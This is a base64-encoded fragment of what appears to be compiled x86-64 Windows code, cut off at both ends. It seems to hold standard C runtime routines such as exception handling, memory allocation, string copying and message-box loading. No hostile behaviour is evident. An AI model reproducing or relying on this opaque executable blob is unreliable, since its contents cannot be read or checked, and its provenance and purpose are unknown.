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/0iLi8AAAADoGKT//0iLi8gAAADoDKT//0iLi9AAAADoAKT//0iLi9gAAADo9KP//0iLi+AAAADo6KP//0iLi+gAAADo3KP//0iLi/AAAADo0KP//0iLi/gAAADoxKP//0iLiwABAADouKP//0iLiwgBAADorKP//0iLixABAADooKP//0iLixgBAADolKP//0iLiyABAADoiKP//0iLiygBAADofKP//0iLizABAADocKP//0iLizgBAADoZKP//0iLi0ABAADoWKP//0iLi0gBAADoTKP//0iLi1ABAADoQKP//0iLi2gBAADoNKP//0iLi3ABAADoKKP//0iLi3gBAADoHKP//0iLi4ABAADoEKP//0iLi4gBAADoBKP//0iLi5ABAADo+KL//0iLi2ABAADo7KL//0iLi6ABAADo4KL//0iLi6gBAADo1KL//0iLi7ABAADoyKL//0iLi7gBAADovKL//0iLi8ABAADosKL//0iLi8gBAADopKL//0iLi5gBAADomKL//0iLi9ABAADojKL//0iLi9gBAADogKL//0iLi+ABAADodKL//0iLi+gBAADoaKL//0iLi/ABAADoXKL//0iLi/gBAADoUKL//0iLiwACAADoRKL//0iLiwgCAADoOKL//0iLixACAADoLKL//0iLixgCAADoIKL//0iLiyACAADoFKL//0iLiygCAADoCKL//0iLizACAADo/KH//0iLizgCAADo8KH//0iLi0ACAADo5KH//0iLi0gCAADo2KH//0iLi1ACAADozKH//0iLi1gCAADowKH//0iLi2ACAADotKH//0iLi2gCAADoqKH//0iLi3ACAADonKH//0iLi3gCAADokKH//0iLi4ACAADohKH//0iLi4gCAADoeKH//0iLi5ACAADobKH//0iLi5gCAADoYKH//0iLi6ACAADoVKH//0iLi6gCAADoSKH//0iLi7ACAADoPKH//0iLi7gCAADoMKH//0iDxCBbw8zMQFVBVEFVQVZBV0iD7FBIjWwkQEiJXUBIiXVISIl9UEiLBe7iAABIM8VIiUUIi11gM/9Ni+FFi+hIiVUAhdt+KkSL00mLwUH/ykA4OHQMSP/ARYXSdfBBg8r/i8NBK8L/yDvDjVgBfAKL2ESLdXiL90WF9nUHSIsBRItwBPedgAAAAESLy02L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